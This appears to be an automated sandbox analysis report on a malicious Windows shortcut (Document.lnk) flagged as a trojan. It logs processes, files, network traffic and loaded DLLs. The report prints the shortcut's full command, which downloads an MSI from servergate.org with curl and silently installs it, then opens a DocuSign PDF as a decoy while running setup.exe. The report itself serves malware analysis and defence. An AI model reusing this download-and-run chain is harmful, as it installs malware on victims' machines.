Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 166.1.160.166:443 -> 192.168.2.5:49706 version: TLS 1.2

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: Document.lnk.download.lnk

LNK file: /k curl -sLo %TEMP%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & %TEMP%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\4686cf.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{1C447779-2A69-4A18-8AA7-5CA40A2E3221}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8846.tmp	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2A0A0	16_2_00C2A0A0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C304C0	16_2_00C304C0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2F890	16_2_00C2F890
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2CCA0	16_2_00C2CCA0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C21000	16_2_00C21000
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C25C00	16_2_00C25C00
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2C800	16_2_00C2C800
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C22430	16_2_00C22430
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C279C0	16_2_00C279C0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C29590	16_2_00C29590
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C21DA0	16_2_00C21DA0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2D2E0	16_2_00C2D2E0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C30A80	16_2_00C30A80
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2B620	16_2_00C2B620
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C32FC0	16_2_00C32FC0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2BF90	16_2_00C2BF90
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C2ABB0	16_2_00C2ABB0
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C28B60	16_2_00C28B60

Source: classification engine

Classification label: mal84.troj.winLNK@67/250@371/10

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\287269d4-80b5-4350-bcc6-750fc59ac2cb.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3652:120:WilError_03

Source: C:\Windows\System32\curl.exe

File created: C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\curl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi" /qn
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 0F1478997D570E9F3111196DB2AE6DC0
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Source: C:\Windows\SysWOW64\expand.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe" /VERYSILENT /VERYSILENT
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2116,i,5126105625824992874,9869921234519132704,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6792 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi" /qn	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 0F1478997D570E9F3111196DB2AE6DC0	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe" /VERYSILENT /VERYSILENT	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2116,i,5126105625824992874,9869921234519132704,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6792 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
